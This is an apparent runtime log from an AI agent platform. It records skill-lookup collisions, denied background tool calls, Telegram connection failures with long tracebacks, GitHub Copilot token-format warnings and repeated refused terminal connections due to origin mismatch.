skill name 'research/research-pipeline': 2 skills match across your local skills dir and external_dirs. Refusing to guess — load one explicitly by its categorize 2026-07-22 13:57:09,579 WARNING [20260722_133203_55e97469] agent.tool_executor: Tool skill_view returned error (0.00s): {"success": false, "error": "Skill name must be a relative path within the skills directory.", "hint": "Use a skill name or relative path within the skills directory."} [Tool loop warning: same_tool_ 2026-07-22 14:01:33,124 WARNING [20260722_133203_55e97469] tools.skills_tool: Skill name collision for 'research/research-pipeline': 2 candidates — /root/.hermes/skills/research/research-pipeline/SKILL.md; /opt/ai-os/products/ceo/skills/research/research-pipeline/SKILL.md 2026-07-22 14:01:33,125 WARNING [20260722_133203_55e97469] agent.tool_executor: Tool skill_view returned error (0.11s): {"success": false, "error": "Ambiguous skill name 'research/research-pipeline': 2 skills match across your local skills dir and external_dirs. Refusing to guess — load one explicitly by its categorize 2026-07-22 14:01:35,907 WARNING [20260722_133203_55e97469] tools.skills_tool: Skill name collision for 'research/research-pipeline': 2 candidates — /root/.hermes/skills/research/research-pipeline/SKILL.md; /opt/ai-os/products/ceo/skills/research/research-pipeline/SKILL.md 2026-07-22 14:01:35,908 WARNING [20260722_133203_55e97469] agent.tool_executor: Tool skill_view returned error (0.08s): {"success": false, "error": "Ambiguous skill name 'research/research-pipeline': 2 skills match across your local skills dir and external_dirs. Refusing to guess — load one explicitly by its categorize 2026-07-22 14:01:56,017 WARNING [20260722_133203_55e97469] agent.tool_executor: Tool read_file returned error (0.00s): {"error": "Background review denied non-whitelisted tool: read_file. Only memory/skill tools are allowed."} 2026-07-22 14:02:02,918 WARNING [20260722_133203_55e97469] agent.tool_executor: Tool skill_manage returned error (0.95s): {"success": false, "error": "Skill 'research/research-pipeline' not found in active profile 'default'. Use skills_list() to see available skills."} 2026-07-22 14:02:24,489 WARNING [20260722_133203_55e97469] agent.tool_executor: Tool skill_manage returned error (0.09s): {"success": false, "error": "Refusing background curator patch for skill 'research-pipeline': the current SKILL.md content has not been loaded in this review turn. Call skill_view(name) for SKILL.md, 2026-07-22 14:04:05,211 WARNING [20260722_133203_55e97469] tools.skills_tool: Skill name collision for 'research-pipeline': 2 candidates — /root/.hermes/skills/research/research-pipeline/SKILL.md; /opt/ai-os/products/ceo/skills/research/research-pipeline/SKILL.md 2026-07-22 14:04:05,211 WARNING [20260722_133203_55e97469] agent.tool_executor: Tool skill_view returned error (0.07s): {"success": false, "error": "Ambiguous skill name 'research-pipeline': 2 skills match across your local skills dir and external_dirs. Refusing to guess — load one explicitly by its categorized path.", 2026-07-22 14:04:10,944 WARNING [20260722_133203_55e97469] agent.tool_executor: Tool skill_manage returned error (0.09s): {"success": false, "error": "Refusing background curator patch for skill 'research-en': the skill lives in skills.external_dirs, which are externally owned and read-only to autonomous curation."} [To 2026-07-23 01:02:49,299 WARNING [cron_db0775f7cf7a_20260723_010009] agent.tool_executor: Tool execute_code returned error (0.16s): {"status": "error", "output": "=== MICE Nha Trang ===\n\n--- stderr ---\nTraceback (most recent call last):\n File \"/tmp/hermes_sandbox_jz_2z191/script.py\", line 12, in \n res = web_sear 2026-07-23 03:12:55,521 WARNING hermes_plugins.telegram_platform.adapter: [Telegram] Telegram network error, scheduling reconnect: Bad Gateway 2026-07-23 03:12:55,532 WARNING hermes_plugins.telegram_platform.adapter: [Telegram] Telegram network error (attempt 1/10), reconnecting in 5s. Error: Bad Gateway 2026-07-23 03:13:03,876 ERROR telegram.ext.Updater: Error while calling `get_updates` one more time to mark all fetched updates. Suppressing error to ensure graceful shutdown. When polling for updates is restarted, updates may be fetched again. Please adjust timeouts via `ApplicationBuilder` or the parameter `get_updates_request` of `Bot`. Traceback (most recent call last): File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/telegram/ext/_updater.py", line 400, in _get_updates_cleanup await self.bot.get_updates( File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/telegram/ext/_extbot.py", line 671, in get_updates updates = await super().get_updates( ^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/telegram/_bot.py", line 4860, in get_updates await self._post( File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/telegram/_bot.py", line 703, in _post return await self._do_post( ^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/telegram/ext/_extbot.py", line 369, in _do_post return await super()._do_post( ^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/telegram/_bot.py", line 732, in _do_post result = await request.post( ^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/telegram/request/_baserequest.py", line 198, in post result = await self._request_wrapper( ^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/telegram/request/_baserequest.py", line 375, in _request_wrapper raise exception telegram.error.NetworkError: Bad Gateway 2026-07-23 03:13:04,159 ERROR telegram.ext: Network Retry Loop (Bootstrap delete Webhook): Failed run number 0 of 0. Aborting. Traceback (most recent call last): File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/telegram/ext/_utils/networkloop.py", line 161, in network_retry_loop await do_action() File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/telegram/ext/_utils/networkloop.py", line 136, in do_action await action_cb() File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/telegram/ext/_updater.py", line 686, in bootstrap_del_webhook await self.bot.delete_webhook(drop_pending_updates=drop_pending_updates) File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/telegram/ext/_extbot.py", line 1489, in delete_webhook return await super().delete_webhook( ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/telegram/_bot.py", line 5032, in delete_webhook return await self._post( ^^^^^^^^^^^^^^^^^ File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/telegram/_bot.py", line 703, in _post return await self._do_post( ^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/telegram/ext/_extbot.py", line 369, in _do_post return await super()._do_post( ^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/telegram/_bot.py", line 732, in _do_post result = await request.post( ^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/telegram/request/_baserequest.py", line 198, in post result = await self._request_wrapper( ^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/telegram/request/_baserequest.py", line 375, in _request_wrapper raise exception telegram.error.NetworkError: Bad Gateway 2026-07-23 03:13:04,201 WARNING hermes_plugins.telegram_platform.adapter: [Telegram] Telegram polling reconnect failed: Bad Gateway 2026-07-23 03:13:04,201 WARNING hermes_plugins.telegram_platform.adapter: [Telegram] Telegram network error (attempt 2/10), reconnecting in 10s. Error: Bad Gateway 2026-07-23 03:13:34,517 ERROR telegram.ext: Network Retry Loop (Bootstrap delete Webhook): Timed out: Timed out. Failed run number 0 of 0. Aborting. Traceback (most recent call last): File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/httpx/_transports/default.py", line 101, in map_httpcore_exceptions yield File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/httpx/_transports/default.py", line 394, in handle_async_request resp = await self._pool.handle_async_request(req) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/httpcore/_async/connection_pool.py", line 256, in handle_async_request raise exc from None File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/httpcore/_async/connection_pool.py", line 236, in handle_async_request response = await connection.handle_async_request( ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/httpcore/_async/connection.py", line 103, in handle_async_request return await self._connection.handle_async_request(request) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/httpcore/_async/http11.py", line 136, in handle_async_request raise exc File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/httpcore/_async/http11.py", line 106, in handle_async_request ) = await self._receive_response_headers(**kwargs) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/httpcore/_async/http11.py", line 177, in _receive_response_headers event = await self._receive_event(timeout=timeout) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/httpcore/_async/http11.py", line 217, in _receive_event data = await self._network_stream.read( ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/httpcore/_backends/anyio.py", line 32, in read with map_exceptions(exc_map): File "/usr/local/share/uv/python/cpython-3.11.15-linux-x86_64-gnu/lib/python3.11/contextlib.py", line 158, in __exit__ self.gen.throw(typ, value, traceback) File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/httpcore/_exceptions.py", line 14, in map_exceptions raise to_exc(exc) from exc httpcore.ReadTimeout The above exception was the direct cause of the following exception: Traceback (most recent call last): File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/telegram/request/_httpxrequest.py", line 279, in do_request res = await self._client.request( ^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/httpx/_client.py", line 1540, in request return await self.send(request, auth=auth, follow_redirects=follow_redirects) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/httpx/_client.py", line 1629, in send response = await self._send_handling_auth( ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/httpx/_client.py", line 1657, in _send_handling_auth response = await self._send_handling_redirects( ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/httpx/_client.py", line 1694, in _send_handling_redirects response = await self._send_single_request(request) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/httpx/_client.py", line 1730, in _send_single_request response = await transport.handle_async_request(request) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/hermes-agent/plugins/platforms/telegram/telegram_network.py", line 90, in handle_async_request response = await transport.handle_async_request(candidate) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/httpx/_transports/default.py", line 393, in handle_async_request with map_httpcore_exceptions(): File "/usr/local/share/uv/python/cpython-3.11.15-linux-x86_64-gnu/lib/python3.11/contextlib.py", line 158, in __exit__ self.gen.throw(typ, value, traceback) File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/httpx/_transports/default.py", line 118, in map_httpcore_exceptions raise mapped_exc(message) from exc httpx.ReadTimeout The above exception was the direct cause of the following exception: Traceback (most recent call last): File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/telegram/ext/_utils/networkloop.py", line 161, in network_retry_loop await do_action() File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/telegram/ext/_utils/networkloop.py", line 136, in do_action await action_cb() File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/telegram/ext/_updater.py", line 686, in bootstrap_del_webhook await self.bot.delete_webhook(drop_pending_updates=drop_pending_updates) File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/telegram/ext/_extbot.py", line 1489, in delete_webhook return await super().delete_webhook( ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/telegram/_bot.py", line 5032, in delete_webhook return await self._post( ^^^^^^^^^^^^^^^^^ File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/telegram/_bot.py", line 703, in _post return await self._do_post( ^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/telegram/ext/_extbot.py", line 369, in _do_post return await super()._do_post( ^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/telegram/_bot.py", line 732, in _do_post result = await request.post( ^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/telegram/request/_baserequest.py", line 198, in post result = await self._request_wrapper( ^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/telegram/request/_baserequest.py", line 305, in _request_wrapper code, payload = await self.do_request( ^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/telegram/request/_httpxrequest.py", line 296, in do_request raise TimedOut from err telegram.error.TimedOut: Timed out 2026-07-23 03:13:34,606 WARNING hermes_plugins.telegram_platform.adapter: [Telegram] Telegram polling reconnect failed: Timed out 2026-07-23 03:13:34,619 WARNING hermes_plugins.telegram_platform.adapter: [Telegram] Telegram network error (attempt 3/10), reconnecting in 20s. Error: Timed out 2026-07-23 03:14:14,759 ERROR telegram.ext: Network Retry Loop (Bootstrap delete Webhook): Timed out: Timed out. Failed run number 0 of 0. Aborting. Traceback (most recent call last): File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/httpx/_transports/default.py", line 101, in map_httpcore_exceptions yield File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/httpx/_transports/default.py", line 394, in handle_async_request resp = await self._pool.handle_async_request(req) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/httpcore/_async/connection_pool.py", line 256, in handle_async_request raise exc from None File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/httpcore/_async/connection_pool.py", line 236, in handle_async_request response = await connection.handle_async_request( ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/httpcore/_async/connection.py", line 103, in handle_async_request return await self._connection.handle_async_request(request) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/httpcore/_async/http11.py", line 136, in handle_async_request raise exc File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/httpcore/_async/http11.py", line 106, in handle_async_request ) = await self._receive_response_headers(**kwargs) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/httpcore/_async/http11.py", line 177, in _receive_response_headers event = await self._receive_event(timeout=timeout) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/httpcore/_async/http11.py", line 217, in _receive_event data = await self._network_stream.read( ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/httpcore/_backends/anyio.py", line 32, in read with map_exceptions(exc_map): File "/usr/local/share/uv/python/cpython-3.11.15-linux-x86_64-gnu/lib/python3.11/contextlib.py", line 158, in __exit__ self.gen.throw(typ, value, traceback) File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/httpcore/_exceptions.py", line 14, in map_exceptions raise to_exc(exc) from exc httpcore.ReadTimeout The above exception was the direct cause of the following exception: Traceback (most recent call last): File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/telegram/request/_httpxrequest.py", line 279, in do_request res = await self._client.request( ^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/httpx/_client.py", line 1540, in request return await self.send(request, auth=auth, follow_redirects=follow_redirects) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/httpx/_client.py", line 1629, in send response = await self._send_handling_auth( ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/httpx/_client.py", line 1657, in _send_handling_auth response = await self._send_handling_redirects( ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/httpx/_client.py", line 1694, in _send_handling_redirects response = await self._send_single_request(request) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/httpx/_client.py", line 1730, in _send_single_request response = await transport.handle_async_request(request) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/hermes-agent/plugins/platforms/telegram/telegram_network.py", line 90, in handle_async_request response = await transport.handle_async_request(candidate) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/httpx/_transports/default.py", line 393, in handle_async_request with map_httpcore_exceptions(): File "/usr/local/share/uv/python/cpython-3.11.15-linux-x86_64-gnu/lib/python3.11/contextlib.py", line 158, in __exit__ self.gen.throw(typ, value, traceback) File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/httpx/_transports/default.py", line 118, in map_httpcore_exceptions raise mapped_exc(message) from exc httpx.ReadTimeout The above exception was the direct cause of the following exception: Traceback (most recent call last): File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/telegram/ext/_utils/networkloop.py", line 161, in network_retry_loop await do_action() File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/telegram/ext/_utils/networkloop.py", line 136, in do_action await action_cb() File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/telegram/ext/_updater.py", line 686, in bootstrap_del_webhook await self.bot.delete_webhook(drop_pending_updates=drop_pending_updates) File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/telegram/ext/_extbot.py", line 1489, in delete_webhook return await super().delete_webhook( ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/telegram/_bot.py", line 5032, in delete_webhook return await self._post( ^^^^^^^^^^^^^^^^^ File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/telegram/_bot.py", line 703, in _post return await self._do_post( ^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/telegram/ext/_extbot.py", line 369, in _do_post return await super()._do_post( ^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/telegram/_bot.py", line 732, in _do_post result = await request.post( ^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/telegram/request/_baserequest.py", line 198, in post result = await self._request_wrapper( ^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/telegram/request/_baserequest.py", line 305, in _request_wrapper code, payload = await self.do_request( ^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/telegram/request/_httpxrequest.py", line 296, in do_request raise TimedOut from err telegram.error.TimedOut: Timed out 2026-07-23 03:14:14,775 WARNING hermes_plugins.telegram_platform.adapter: [Telegram] Telegram polling reconnect failed: Timed out 2026-07-23 03:14:14,775 WARNING hermes_plugins.telegram_platform.adapter: [Telegram] Telegram network error (attempt 4/10), reconnecting in 40s. Error: Timed out 2026-07-23 09:47:00,976 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-07-23 09:47:02,105 WARNING hermes_cli.auth: Copilot token validation failed: Token from `gh auth token` is a classic PAT (ghp_*). Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-07-23 09:47:02,106 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-07-23 09:47:05,750 WARNING hermes_cli.web_server: event loop stalled 11.6s (GIL pressure suspected) 2026-07-23 09:47:07,384 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-23 09:47:09,052 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-23 09:47:11,126 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-23 09:47:13,593 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-23 09:47:15,376 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-23 09:47:19,938 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-23 09:47:25,303 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-23 09:47:31,825 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-23 09:47:40,154 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-23 09:47:47,372 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-23 09:47:56,413 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-23 09:48:04,194 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-23 09:48:11,410 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-23 09:48:15,987 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-23 09:48:21,028 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-23 09:48:26,122 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-23 09:48:31,011 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-23 09:48:36,189 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-23 09:48:41,340 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-23 09:48:46,565 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-23 09:48:55,261 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-23 09:49:02,035 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-23 09:49:09,542 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-23 09:49:14,976 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-23 09:49:23,061 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-23 09:49:30,620 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-23 09:49:37,406 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-23 09:49:42,691 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-23 09:49:49,948 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-23 09:49:58,427 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-23 09:50:03,573 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-23 09:50:10,665 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-23 09:50:16,018 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-23 09:50:21,047 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-23 09:50:26,004 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-23 09:50:31,114 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-23 09:50:36,233 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-23 09:50:41,132 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-23 09:50:46,246 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-23 09:50:51,656 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-23 09:51:00,197 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-23 09:51:06,240 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-23 09:51:12,283 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-23 09:51:20,468 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-23 09:51:28,455 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 peer=127.0.0.1 2026-07-23 09:51:36,139 WARNING hermes_cli.web_server: pty refused: origin_mismatch origin=https://vmi3427693.tail8c1aaf.ts.net bound=127.0.0.1 